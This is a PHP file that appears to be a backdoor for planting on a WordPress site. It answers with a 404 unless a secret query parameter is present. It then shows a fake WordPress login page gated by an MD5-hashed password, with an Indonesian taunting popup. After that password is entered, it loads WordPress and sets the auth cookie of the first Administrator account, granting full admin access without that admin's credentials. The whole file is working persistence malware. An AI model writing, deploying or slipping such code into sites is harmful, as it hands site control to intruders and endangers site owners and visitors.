<?php
session_start();
if(!isset($_GET['wordpress'])||$_GET['wordpress']!=='oke'){http_response_code(404);die();}
$hash='dcdef14e260021b6d0531f939284e7ea';
$error=false;
if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_POST['pwd'])){
    if(md5($_POST['pwd'])===$hash){$_SESSION['sukmasuk_auth']=true;header('Location: '.strtok($_SERVER['REQUEST_URI'],'?').'?wordpress=oke');exit;}
    $error=true;
}
if(empty($_SESSION['sukmasuk_auth'])){
    $host=htmlspecialchars(parse_url('http://'.($_SERVER['HTTP_HOST']??'localhost'),PHP_URL_HOST)?:($_SERVER['HTTP_HOST']??'site'));
    $logo='https://s13.gifyu.com/images/bdVxX.png';
?>
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Log In &lsaquo; WordPress</title>
<style>*{box-sizing:border-box}html,body.login{background:#f0f0f1;min-height:100vh;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.4;color:#3c434a}#login{width:320px;padding:8% 0 0;margin:auto}#login h1{text-align:center;margin:0 0 16px}#login h1 a{display:block;width:84px;height:84px;margin:0 auto 25px;outline:0;box-shadow:none;border-radius:4px;cursor:pointer}#login h1 a img{width:84px;height:84px;display:block;object-fit:contain}#login h1 a:focus{box-shadow:0 0 0 2px #2271b1}.card{margin-top:20px;background:#fff;border:1px solid #c3c4c7;box-shadow:0 1px 3px rgba(0,0,0,.04);overflow:hidden}.card #login_error{margin:0;padding:12px 16px;background:#fcf0f1;border:0;border-bottom:1px solid #c3c4c7;border-left:4px solid #d63638;font-size:13px;line-height:1.5}.card #login_error strong{font-weight:600}.card form{margin:0;padding:26px 24px 34px;background:transparent;border:0;box-shadow:none}.card form p{margin:0 0 16px}.card form p.submit{margin:12px 0 0;overflow:hidden}.card label{font-size:14px;line-height:1.5;display:inline-block;margin-bottom:3px}.card .input{width:100%;font-size:24px;line-height:1.33333333;border:1px solid #8c8f94;padding:3px 8px;min-height:40px;background:#fff;color:#2c3338;border-radius:4px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear}.card .input:focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}.forgetmenot{float:left;margin:6px 0 0;line-height:1.5}.forgetmenot label{font-size:12px;line-height:19px;margin:0}.forgetmenot input{margin:0 4px 0 0;vertical-align:middle}.button-primary{float:right;background:#2271b1;border:1px solid #2271b1;color:#fff;font-size:13px;line-height:2.15384615;min-height:30px;padding:0 10px;cursor:pointer;border-radius:3px}.button-primary:hover,.button-primary:focus{background:#135e96;border-color:#135e96}.button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #2271b1;outline:2px solid transparent}#nav,#backtoblog{margin:16px 0 0;padding:0;font-size:13px;text-align:center}#backtoblog{margin-top:8px}#nav a,#backtoblog a,.privacy a{color:#50575e;text-decoration:none}#nav a:hover,#backtoblog a:hover,.privacy a:hover{color:#135e96}.privacy{margin:16px 0 0;text-align:center;font-size:13px}.lang{margin-top:16px;text-align:center}.lang select{font-size:13px;line-height:2;color:#2c3338;border:1px solid #8c8f94;border-radius:3px;padding:0 24px 0 8px;min-height:30px;background:#fff;vertical-align:middle}.ov{position:fixed;inset:0;z-index:99999;display:none;align-items:center;justify-content:center;background:rgba(0,0,0,.72);padding:16px}.ov.on{display:flex}.ov img{max-width:100%;max-height:100%;object-fit:contain;border-radius:4px;box-shadow:0 8px 40px rgba(0,0,0,.45)}.pop{position:fixed;inset:0;z-index:99998;display:none;align-items:center;justify-content:center;background:rgba(0,0,0,.45);padding:20px}.pop.on{display:flex}.pop-b{max-width:360px;width:100%;background:#fff;border:1px solid #c3c4c7;border-radius:4px;box-shadow:0 8px 32px rgba(0,0,0,.18);padding:24px 20px 20px;text-align:center}.pop-b h2{margin:0 0 10px;font-size:18px;font-weight:600;color:#1d2327}.pop-b p{margin:0 0 18px;font-size:14px;line-height:1.6;color:#50575e}.pop-b button{background:#2271b1;border:1px solid #2271b1;color:#fff;font-size:13px;padding:6px 16px;border-radius:3px;cursor:pointer}.pop-b button:hover{background:#135e96;border-color:#135e96}@media(max-height:550px){#login{padding-top:2%}}</style>
</head>
<body class="login wp-core-ui">
<div id="login">
<h1><a href="#" id="logo" tabindex="-1"><img src="<?php echo $logo; ?>" alt="WordPress"></a></h1>
<div class="card">
<?php if($error):?><div id="login_error" role="alert"><strong>Error:</strong> The password you entered for the username <strong>admin</strong> is incorrect. <a href="#" class="lost">Lost your password?</a></div><?php endif;?>
<form method="post" id="loginform">
<p><label for="user_pass">Password</label><input type="password" name="pwd" id="user_pass" class="input" autocomplete="current-password" required></p>
<p class="forgetmenot"><input type="checkbox" id="rememberme" disabled><label for="rememberme">Remember Me</label></p>
<p class="submit"><input type="submit" class="button-primary" value="Log In"></p>
</form>
</div>
<p id="nav"><a href="#" class="lost">Lost your password?</a></p>
<p class="privacy"><a href="#">Privacy Policy</a></p>
<p id="backtoblog"><a href="/">&larr; Go to <?php echo $host; ?></a></p>
<div class="lang"><select disabled><option>English (United States)</option></select></div>
</div>
<div class="ov" id="ov"><img src="<?php echo $logo; ?>" alt=""></div>
<div class="pop" id="pop"><div class="pop-b"><h2>Lost your password?</h2><p>Serius nanya? Ini kan cuma satu field password doang.<br>Ga ada username, ga ada email reset, ga ada hope.<br><strong>Good luck bro.</strong></p><button type="button" id="popx">Oke deh...</button></div></div>
<script>var l=document.getElementById('logo'),o=document.getElementById('ov'),p=document.getElementById('pop');l.onclick=function(e){e.preventDefault();o.classList.add('on')};o.onclick=function(){o.classList.remove('on')};document.querySelectorAll('.lost').forEach(function(a){a.onclick=function(e){e.preventDefault();p.classList.add('on')}});document.getElementById('popx').onclick=function(){p.classList.remove('on')};p.onclick=function(e){if(e.target===p)p.classList.remove('on')};</script>
</body>
</html>
<?php exit;}
$mr=$_SERVER['DOCUMENT_ROOT'];@chdir($mr);
if(file_exists('wp-load.php')){
    include 'wp-load.php';
    $q=new WP_User_Query(array('role'=>'Administrator','number'=>1,'fields'=>'ID'));
    $r=$q->get_results();
    if(isset($r[0])){wp_set_auth_cookie($r[0]);wp_redirect(admin_url());die();}
    die('NO ADMIN');
}else{die('Failed to load');}